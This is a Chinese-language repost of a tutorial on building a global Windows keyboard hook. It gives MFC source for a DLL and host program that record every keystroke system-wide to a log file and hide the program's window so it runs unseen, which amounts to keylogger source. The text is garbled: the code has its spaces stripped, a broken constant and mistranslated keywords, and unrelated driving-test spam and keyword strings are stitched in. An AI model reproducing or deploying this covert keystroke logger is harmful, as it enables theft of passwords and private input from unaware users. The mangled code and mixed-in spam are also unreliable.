b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

操作方法:键盘和鼠标挂钩函数,已编译为动态DLL,如何在应用程序中调用

电脑杂谈  发布时间:2020-09-10 14:03:07  来源:网络整理

鼠标钩子函数_鼠标钩子源码_全局鼠标钩子

这是我最初创建的一个简单示例。 LZ参考,看它是否有用

三、键盘挂钩程序示例

此示例程序使用全局挂钩函数。该程序分为两部分:可执行程序KeyHook和动态链接库LaunchDLL。

1、首先编译MFC扩展动态链接库LaunchDLL.dll:

([1)选择MFCAppWizard(DLL)来创建项目LaunchDLL;在以下选项中选择RegularstaticallylinkedtoMFCDLL(标准静态链接MFCDLL)。

(2)在LaunchDLL.h中添加宏定义和要导出的函数的声明:

#defineDllExport__declspec(dllexport)

……

DllExportvoidWINAPIInstallLaunchEv();

……

classCLaunchDLLApp:publicCWinApp

{

公开

CLaunchDLLApp();

// {{AFX_VIRTUAL(CLaunchDLLApp)

//}} AFX_VIRTUAL

鼠标钩子函数_全局鼠标钩子_鼠标钩子源码

// {{AFX_MSG(CLaunchDLLApp)

//注意,ClassWizard将在此处添加和删除成员功能。

//请勿编辑在这些生成的代码块中看到的内容!

//}} AFX_MSG

DECLARE_MESSAGE_MAP()

};

([3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook,SaveLog:

HHOOKHook;

LRESULTCALLBACKLauncherHook(intnCode,WPARAMwParam,LPARAMlParam);

voidSaveLog(char * c);

(4)完成上述功能的实现:

……

CLaunchDLLApptheApp;

……

DllExportvoidWINAPIInstallLaunchEv()

{

Hook =(HHOOK)SetWindowsHookEx(WH_KEYBOARD,

鼠标钩子函数_全局鼠标钩子_鼠标钩子源码

(HOOKPROC)LauncherHook,

theApp.m_hInstance,

0);

}

在这里,我们已经实现了Windows系统挂钩的安装。首先,我们需要调用SDK中的API函数SetWindowsHookEx来安装hook函数。原型是:

HHOOKSetWindowsHookEx(intidHook,

HOOKPROClpfn,

HINSTANCEhMod,

DWORDdwThreadId);

其中,第一个参数指定挂钩的类型,常用的是WH_MOUSE,WH_KEYBOARD,WH_GETMESSAGE等,这里我们只关心键盘操作,因此设置为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,作为钩子在钩住任何消息后调用该函数,也就是说,无论系统的哪个窗口有键盘输入,都会立即引起LauncherHook动作;第三个参数是挂钩函数所在的模块的句柄,我们可以轻松地将其设置为应用程序的程序的实例句柄;最后一个参数是与挂钩相关的函数的ID,用于指定您希望挂钩挂接的线程。为0时,将拦截整个系统的消息。在此程序中,挂钩必须是全局挂钩,因此将其设置为0。

……

LRESULTCALLBACKLauncherHook(intnCode,WPARAMwParam,LPARAMlParam)

{

LRESULTResult = CallNextHookEx(Hook,nCode,wParam,lParam);

if(nCode == HC_ACTION)

{

if(lParam&0x8000000 0)

{

鼠标钩子函数_鼠标钩子源码_全局鼠标钩子

charc [1];

c [0] = wParam;

SaveLog(c);

}

}

returnResult;

}

尽管调用CallNextHookEx()是可选的,但强烈建议调用此函数。否则,安装了该挂钩的其他应用程序将不会收到该挂钩的通知,并且可能会产生不正确的结果。因此,除非绝对有必要阻止其他程序获取通知,否则我们应该尝试调用此函数。

……

voidSaveLog(char * c)

{

CTimetm = CTime :: GetCurrentTime();

CStringname;

name.Format(“ c:\\ Key_%d_%d.log”,tm.GetMonth(),tm.GetDay());

CFilefile;

if(!file.Open(name,CFile :: modeReadWrite))

{

file.Open(name,CFile :: modeCreate | CFile :: modeReadWrite);

全局鼠标钩子_鼠标钩子函数_鼠标钩子源码

}

file.SeekToEnd();

file.Write(c,1);

file.Close();

}

弹起键时,使用此功能将刚弹起的键保存到记录文件中,以达到监视和记录键盘的目的。

编译后,您可以获得运行时所需的键盘挂钩的动态链接库LaunchDLL.dll和用于静态链接的LaunchDLL.lib。

2、让我们开始编写调用此动态链接库的主程序,并实现最终集成:

(1)使用MFC的AppWizard(EXE)创建项目KeyHook;

([2)选择一个文档,其余步骤可以确认;

([3)将LaunchDLL.h和LaunchDLL.lib复制到KeyHook项目目录,并将LaunchDLL.dll复制到Debug目录。

(4)链接DLL库,即在“项目”,“设置...”的“链接”属性页中,在“对象/库模块:”中填写“ LaunchDLL.lib”。传递“项目”,“ AddToProject”,“文件...”,将LaunchDLL.h添加到项目中,最后在可视类的源文件KeyHook.cpp中添加对它的引用:

#include“ LaunchDLL.h”

因此,我们可以使用动态链接库LaunchDLL.dll中的所有导出功能,就像该项目中的功能一样。

([5)在可视类中添加虚拟函数OnInitialUpdate(),并添加代码以完成键盘钩的安装:

……

InstallLaunchEv();

……

(6)到目前为止,所有功能都已完成,但是作为后台监视软件,它在运行时不会具有接口。您可以在Windows的InitInstance()函数中设置m_pMainWnd-> ShowWindow应用程序类CkeyHookApp(SW_SHOW);更改为m_pMainWnd-> ShowWindow(SW_HIDE);确定。

四、操作和检测

编译并运行该程序,运行后没有任何现象,但是您可以通过Alt + Ctrl + Del在关闭程序对话框中找到我们刚刚编写的程序“ KeyHook”,然后通过键盘输入字符任何程序。然后打开记录文件,我们会发现:通过键盘钩,我们刚刚输入的字符已记录在记录文件中。

摘要:系统挂钩具有相当强大的功能。通过这种技术,几乎所有Windows系统消息都可以被拦截,监视和处理。该技术广泛应用于各种自动监控系统中


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/bofangqi/article-317985-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...